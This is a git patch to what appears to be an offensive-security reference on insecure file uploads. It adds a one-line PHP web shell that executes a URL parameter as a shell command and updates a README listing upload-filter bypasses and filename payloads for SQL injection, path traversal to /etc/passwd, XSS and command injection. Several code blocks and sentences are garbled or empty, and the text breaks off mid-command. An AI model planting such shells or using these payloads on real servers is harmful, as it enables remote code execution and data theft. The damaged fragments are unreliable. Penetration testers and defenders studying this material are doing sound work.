From c3c4b7987b94a9199013abaf817d86aa2ed37d99 Mon Sep 17 00:00:00 2001
From: hacker <12152583+swisskyrepo@users.noreply.github.com>
Date: Sun, 9 Feb 2025 20:24:21 +0100
Subject: [PATCH] PHP tricks and webshells
---
.../Extension PHP/php-script-tag.php | 1 +
Upload Insecure Files/Extension PHP/tiny.php | 2 +
Upload Insecure Files/README.md | 152 +++++++++++-------
3 files changed, 93 insertions(+), 62 deletions(-)
create mode 100644 Upload Insecure Files/Extension PHP/php-script-tag.php
create mode 100644 Upload Insecure Files/Extension PHP/tiny.php
diff --git a/Upload Insecure Files/Extension PHP/php-script-tag.php b/Upload Insecure Files/Extension PHP/php-script-tag.php
new file mode 100644
index 0000000..233a526
--- /dev/null
+++ b/Upload Insecure Files/Extension PHP/php-script-tag.php
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/Upload Insecure Files/Extension PHP/tiny.php b/Upload Insecure Files/Extension PHP/tiny.php
new file mode 100644
index 0000000..6e4f7f3
--- /dev/null
+++ b/Upload Insecure Files/Extension PHP/tiny.php
@@ -0,0 +1,2 @@
+=`$_GET[0]`?>
+
\ No newline at end of file
diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md
index 95b0ffe..4545177 100644
--- a/Upload Insecure Files/README.md
+++ b/Upload Insecure Files/README.md
@@ -2,7 +2,6 @@
> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
-
## Summary
* [Tools](#tools)
@@ -18,13 +17,11 @@
* [Labs](#labs)
* [References](#references)
-
## Tools
-- [almandin/fuxploiderFuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool.
-- [Burp/Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - HTTP file upload scanner for Burp Proxy.
-- [ZAP/FileUpload](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) - OWASP ZAP add-on for finding vulnerabilities in File Upload functionality.
-
+* [almandin/fuxploiderFuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool.
+* [Burp/Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - HTTP file upload scanner for Burp Proxy.
+* [ZAP/FileUpload](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) - OWASP ZAP add-on for finding vulnerabilities in File Upload functionality.
## Methodology
@@ -32,7 +29,10 @@
### Defaults Extensions
+Here is a list of the default extensions for web shell pages in the selected languages (PHP, ASP, JSP).
+
* PHP Server
+
```powershell
.php
.php3
@@ -50,7 +50,9 @@
.phtm
.inc
```
+
* ASP Server
+
```powershell
.asp
.aspx
@@ -59,6 +61,7 @@
shell.aspx;1.jpg # (IIS < 7.0)
shell.soap
```
+
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions`
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
@@ -66,17 +69,19 @@
### Upload Tricks
-- Use double extensions : `.jpg.php, .png.php5`
-- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
-- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
-- Null byte (works well against `pathinfo()`)
+**Extensions**:
+
+* Use double extensions : `.jpg.php, .png.php5`
+* Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
+* Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
+* Null byte (works well against `pathinfo()`)
* `.php%00.gif`
* `.php\x00.gif`
* `.php%00.png`
* `.php\x00.png`
* `.php%00.jpg`
* `.php\x00.jpg`
-- Special characters
+* Special characters
* Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
* Whitespace and new line characters
* `file.php%20`
@@ -85,45 +90,68 @@
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
* Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
* Multiple special characters: `file.jsp/././././.`
-- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
- * `Content-Type : image/gif`
- * `Content-Type : image/png`
- * `Content-Type : image/jpeg`
- * Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- * Set the Content-Type twice: once for unallowed type and once for allowed.
-- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
- * Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
- * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
- * JPG: `\xff\xd8\xff`
- * GIF: `GIF87a` OR `GIF8;`
- * Shell can also be added in the metadata
-- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
+
+**File Identification**:
+
+MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image.
+
+* `Content-Type : image/gif`
+* `Content-Type : image/png`
+* `Content-Type : image/jpeg`
+* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+* Set the `Content-Type` twice, once for unallowed type and once for allowed.
+
+[Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
+
+* PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
+* JPG: `\xff\xd8\xff`
+* GIF: `GIF87a` OR `GIF8;`
+
+**File Encapsulation**:
+
+Using NTFS alternate data stream (ADS) in Windows.
+In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
+
+**Other Techniques**:
+
+PHP web shells don't always have the ``
+
+ ```html
+
+ ```
+
+* The `=` is shorthand syntax in PHP for outputting values. It is equivalent to using `
+ ```
### Filename Vulnerabilities
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
-- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
-- LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
-- XSS Payloads e.g. `'">
.extension`
-- File Traversal e.g. `../../../tmp/lol.png`
-- Command Injection e.g. `; sleep 10;`
+* Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
+* LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
+* XSS Payloads e.g. `'">
.extension`
+* File Traversal e.g. `../../../tmp/lol.png`
+* Command Injection e.g. `; sleep 10;`
Also you upload:
-- HTML/SVG files to trigger an XSS
-- EICAR file to check the presence of an antivirus
+* HTML/SVG files to trigger an XSS
+* EICAR file to check the presence of an antivirus
### Picture Compression
Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
-- Picture Metadata, hide the payload inside a comment tag in the metadata.
-- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
- - [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py
- - [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php
- - [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php
-
+* Picture Metadata, hide the payload inside a comment tag in the metadata.
+* Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
+ * [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py
+ * [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php
+ * [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php
### Picture Metadata
@@ -139,29 +167,28 @@ exiftool -Comment="